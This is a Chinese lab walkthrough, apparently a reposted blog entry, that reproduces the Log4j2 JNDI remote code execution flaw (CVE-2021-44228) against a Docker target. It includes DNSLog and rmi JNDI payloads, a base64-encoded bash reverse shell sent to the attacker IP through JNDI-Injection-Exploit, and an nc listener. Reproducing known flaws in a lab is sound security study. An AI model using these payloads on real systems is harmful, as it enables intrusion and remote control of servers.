Apache Log4j2 RCE漏洞复现

Apache Log4j2 RCE漏洞复现

1.漏洞介绍

Apache Log4j2是一个Java的日志组件,在特定的版本中由于其启用了lookup功能,从而导致产生远程代码执行漏洞。

影响版本:Apache Log4j 2.x<=2.15.0.rc1

漏洞编号:CVE-2021-44228

2.漏洞环境搭建

目标:Ubuntu ip: 192.168.241.129

攻击机 :kail ip: 192.168.241.128

由于我的Ubuntu虚拟机已经搭建过docker,直接用以下命令下载漏洞镜像

sudo docker pull vulfocus/log4j2-rce-2021-12-09:latest

拉取本地环境运行,本地启动命令:

sudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09:latest

没有安装docker的可以访问Vulfocus,使用靶场环境:

https://github.com/fofapro/vulfocus

搭建好后访问虚拟机ip加端口:

http://192.168.241.129:8080

在这里插入图片描述

3.漏洞复现

1.进行DNSLog验证

通过DNSLog Platform平台

https://dig.pm/

获取到子域名,构造payload:

${jndi:ldap://5097bd9c.dns.1433.eu.org}

浏览器点击???并使用Burpsuite抓包,替换payload参数,此时发包会导致服务器400错误,需要将pyload进行url编码。

在这里插入图片描述

在DNSLog网站成功接收到解析记录

在这里插入图片描述

2.JNDI注入反弹shell

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用

https://github.com/welk1n/JNDI-Injection-Exploit

工具使用:

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
cd JNDI-Injection-Exploit
mvn clean package -DskipTests

使用mvn命令生成JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,使用mvn命令前需要确认maven安装

使用命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

反弹shell指令

bash -i >& /dev/tcp/ip/port 0>&1    //需要base64加密
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.241.128

在这里插入图片描述

可以看到生成5个链接

rmi://192.168.241.128:1099/zvrfsf
rmi://192.168.241.128:1099/xwa9m4
ldap://192.168.241.128:1389/xwa9m4
rmi://192.168.241.128:1099/e1twtt
ldap://192.168.241.128:1389/e1twtt

此时打开另一个终端打开nc进行监听:

nc -lvnp 4444 	//kail
nc64.exe -lvnp 4444//windows下用cmd

此时伪造payload,url编码,bp发送

${jndi:rmi://192.168.241.128:1099/zvrfsf}}	//5个链接认选一个

在这里插入图片描述
此时命令行出现以下日志信息表明已经执行成功
在这里插入图片描述

此时nc也已经反弹shell
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/huangyongkang666/article/details/124153414